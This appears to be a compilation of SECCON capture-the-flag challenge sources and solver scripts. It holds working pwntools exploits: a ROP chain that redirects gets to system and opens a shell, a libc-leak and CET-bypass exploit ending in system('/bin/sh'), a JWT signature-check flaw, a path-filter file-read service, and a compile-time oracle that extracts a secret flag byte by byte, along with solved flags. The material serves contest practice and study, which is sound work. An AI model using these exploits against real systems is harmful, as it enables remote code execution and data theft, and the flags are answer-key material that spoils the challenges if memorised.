#include <stdio.h>
#include <stdlib.h>

void main() {
  char buf[0x10];
  system("echo Enter something:");
  gets(buf);
}

from pwn import *

r = remote("rop-2-35.seccon.games", 9999)
# r = process("./chall")
# input()
buf = b""
p = b""
buf += b" " * (24 - len(p))
buf += p
buf += p64(0x40113d) #poprbp
buf += p64(0x404020 + 0x10) #rbp = gets@plt + 0x10
buf += p64(0x401171) #gets(rbp-0x10); rsp = rbp; pop rbp; ret
r.sendline(buf)

# 0x404020
buf = b""
buf += p64(0x401050) #gets@plt @ 0x404020 = system
buf += b"sh\0"
buf += b"A" * (0x10 - len(buf))
buf += p64(0x404020 + 8 + 0x10) #new rbp
buf += (p64(0x401016) + b"B" * 8) * 128 #rsp += 8; ret
buf += p64(0x401171) #gets == system, gets(rbp-0x10)
r.sendline(buf)
r.interactive()

// 抜粋:
const algorithms = {
	hs256: (data, secret) => 
		base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
	hs512: (data, secret) => 
		base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}

const stringifyPart = (obj) => {
	return base64UrlEncode(JSON.stringify(obj));
}

const parsePart = (str) => {
	return JSON.parse(base64UrlDecode(str));
}

const createSignature = (header, payload, secret) => {
	const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
	const signature = algorithms[header.alg.toLowerCase()](data, secret); // <-- !!!!!!!!!
	return signature;
}

const parseToken = (token) => {
	const parts = token.split('.');
	if (parts.length !== 3) throw Error('Invalid JWT format');
	
	const [ header, payload, signature ] = parts;
	const parsedHeader = parsePart(header);
	const parsedPayload = parsePart(payload);
	
	return { header: parsedHeader, payload: parsedPayload, signature }
}

const verify = (token, secret) => {
	const { header, payload, signature: expected_signature } = parseToken(token);

	const calculated_signature = createSignature(header, payload, secret);
	console.log(header, payload, expected_signature, calculated_signature)
	
	const calculated_buf = Buffer.from(calculated_signature, 'base64');
	const expected_buf = Buffer.from(expected_signature, 'base64');

	if (Buffer.compare(calculated_buf, expected_buf) !== 0) {
		throw Error('Invalid signature');
	}

	return payload;
}

> {}.constructor
[Function: Object]
> Object("foo", "bar")
[String: 'foo']

import mmap
import os
import signal

signal.alarm(60)

try:
    f = open("./flag.txt", "r")
    mm = mmap.mmap(f.fileno(), 0, prot=mmap.PROT_READ)
except FileNotFoundError:
    print("[-] Flag does not exist")
    exit(1)

while True:
    path = input("path: ")

    if 'flag.txt' in path:
        print("[-] Path not allowed")
        exit(1)
    elif 'fd' in path:
        print("[-] No more fd trick ;)")
        exit(1)

    with open(os.path.realpath(path), "rb") as f:
        print(f.read(0x100))

v1 = [
0xf6,0xf5,0x31,0xc8,0x81,0x15,0x14,0x68,
0xf6,0x35,0xe5,0x3e,0x82,0x09,0xca,0xf1,
0x8a,0xa9,0xdf,0xdf,0x33,0x2a,0x6d,0x81,
0xf5,0xa6,0x85,0xdf,0x17
]

v2 = [
0xf0,0xe4,0x25,0xdd,0x9f,0x0b,0x3c,0x50,
0xde,0x04,0xca,0x3f,0xaf,0x30,0xf3,0xc7,
0xaa,0xb2,0xfd,0xef,0x17,0x18,0x57,0xb4,
0xd0,0x8f,0xb8,0xf4,0x23
]

flag = []
for i in range(0x1d):
    flag.append(chr(i ^ 0x55 ^ v1[i] ^ v2[i]))
print("".join(flag))

>>> xor(v1,v2,0x55,list(range(len(v1))))
b'SECCON{jump_table_everywhere}'

# default.nix
with import <nixpkgs> {}; let
  libbluray_ = enableDebugging libbluray;
in
  vlc.override {
    libbluray = libbluray_;
  }

nix-build

#define INSN_ENDBR64 (0xF30F1EFA) /* endbr64 */
#define CFI(f)                                              \
  ({                                                        \
    if (__builtin_bswap32(*(uint32_t*)(f)) != INSN_ENDBR64) \
      __builtin_trap();                                     \
    (f);                                                    \
  })

#define KEY_SIZE 0x20
typedef struct {
  char key[KEY_SIZE];
  char buf[KEY_SIZE];
  const char *error;
  int status;
  void (*throw)(int, const char*, ...);
} ctx_t;

void read_member(ctx_t *ctx, off_t offset, size_t size) {
  if (read(STDIN_FILENO, (void*)ctx + offset, size) <= 0) {
    ctx->status = EXIT_FAILURE;
    ctx->error = "I/O Error";
  }
  ctx->buf[strcspn(ctx->buf, "\n")] = '\0';

  if (ctx->status != 0)
    CFI(ctx->throw)(ctx->status /* 32bit! */, ctx->error);
}

(snip)

int main() {
  ctx_t ctx = { .error = NULL, .status = 0, .throw = err };

  read_member(&ctx, offsetof(ctx_t, key), sizeof(ctx)); /* ctx_t全体が書き換え可能 */
  read_member(&ctx, offsetof(ctx_t, buf), sizeof(ctx)); /* ctx_tのbuf以降全部が書き換え可能 & スタックBOF */

  (snip)

  /* Stack Smashing Protectorあり */
  return 0;
}

from pwn import *
import os
import time

libc = ELF("./libc.so.6")

for i in range(16):
   warnx_l16 = 0x0010 + 0x1000 * i
   print(f"trying: {warnx_l16:x}")

   # r = process("./xor", env={"LD_LIBRARY_PATH": os.getcwd()})
   # input()
   # warnx_l16 = 0x1010

   r = remote("selfcet.seccon.games", 9999)

   buf = b""
   buf += b"A" * 0x20 #key
   buf += b"B" * 0x1f + b'\n' #buf
   buf += b"C" * 8 # error (arg2)
   buf += p64(0x403ff8) # status (arg1) != 0, 32bit #err@got
   buf += p16(warnx_l16) #warnx

   r.send(buf)
   try:
      print(r.recvuntil(b"xor: "))
   except EOFError:
      r.close()
      continue
   break

a = r.recvuntil(b": Success\n")[:-len(b": Success\n")].ljust(8, b'\0')
err = u64(a)
print(f"err={err:x}")

base = err - libc.symbols["err"]
print(f"base={base:x}")
system = base + libc.symbols["system"]
signal  = base + libc.symbols["signal"]
gets = base + libc.symbols["gets"]
main = 0x401209

buf2 = b""
buf2 += b"B" * 0x1f + b'\n' #buf
buf2 += p64(main) # error (arg2)
buf2 += p64(6) # status (arg1) != 0, 32bit, SIGABRT
buf2 += p64(signal)
buf2 += b"A" * 0x20 #overflow
r.send(buf2)

print(r.recv(0x20))
print(r.recvline())

buf3 = b""
buf3 += b"A" * 0x20 #key
buf3 += b"B" * 0x1f + b'\n' #buf
buf3 += p64(0) # error (arg2)
buf3 += p64(0x404000) # status (arg1) != 0, 32bit
buf3 += p64(gets)
r.send(buf3)

r.sendline(b"/bin/sh")

time.sleep(5) #🤢

buf4 = b""
buf4 += b"B" * 0x1f + b'\n' #buf
buf4 += p64(0) # error (arg2)
buf4 += p64(0x404000) # status (arg1) != 0, 32bit, "/bin/sh"
buf4 += p64(system)
r.send(buf4)

r.interactive()

import sys
import re
import os
import subprocess
import tempfile

FLAG = os.environ["FLAG"]
assert re.fullmatch(r"SECCON{[_a-z0-9]+}", FLAG)
os.environ.pop("FLAG")

TEMPLATE = """
fn main() {
    {{YOUR_PROGRAM}}

    /* Steal me: {{FLAG}} */
}
""".strip()

print("""
🦀 Compile-Time Sandbox Escape 🦀

Input your program (the last line must start with __EOF__):
""".strip(), flush=True)

program = ""
while True:
    line = sys.stdin.readline()
    if line.startswith("__EOF__"):
        break
    program += line
if len(program) > 512:
    print("Your program is too long. Bye👋".strip())
    exit(1)

source = TEMPLATE.replace("{{FLAG}}", FLAG).replace("{{YOUR_PROGRAM}}", program)

with tempfile.NamedTemporaryFile(suffix=".rs") as file:
    file.write(source.encode())
    file.flush()

    try:
        proc = subprocess.run(
            ["rustc", file.name],
            cwd="/tmp",
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            timeout=2,
        )
        print(":)" if proc.returncode == 0 else ":(")
    except subprocess.TimeoutExpired:
        print("timeout")

import os
from pwn import *

b4 = """fn main() {
    """

af = """

    /* Steal me: __FLAG__ */
}"""

offset = len(b4) + 512 + af.find("__FLAG__")

flag = "SECCON{"

while True:
    byte = 0
    for bit in range(7, -1, -1):
        p = ""
        p += f"const _: () = assert!(include_bytes!(file!())[{offset + len(flag)}] >= {byte | (1 << bit)});"
        p += " " * (511 - len(p))
        assert len(p) == 511

        #r = process(argv = ["python", "app.py"], env = {"FLAG": "SECCON{abcdefg}", "PATH": os.environ["PATH"]})
        r = remote("crabox.seccon.games", 1337)
        #print(p)
        r.sendline(p.encode())
        r.sendline(b"__EOF__")

        result = r.recvall().decode()
        #print(result)

        if ":)" in result:
            byte |= 1 << bit
        elif ":(" in result:
            pass
        else:
            raise "fail"

        r.close()
    flag += chr(byte)
    print(flag)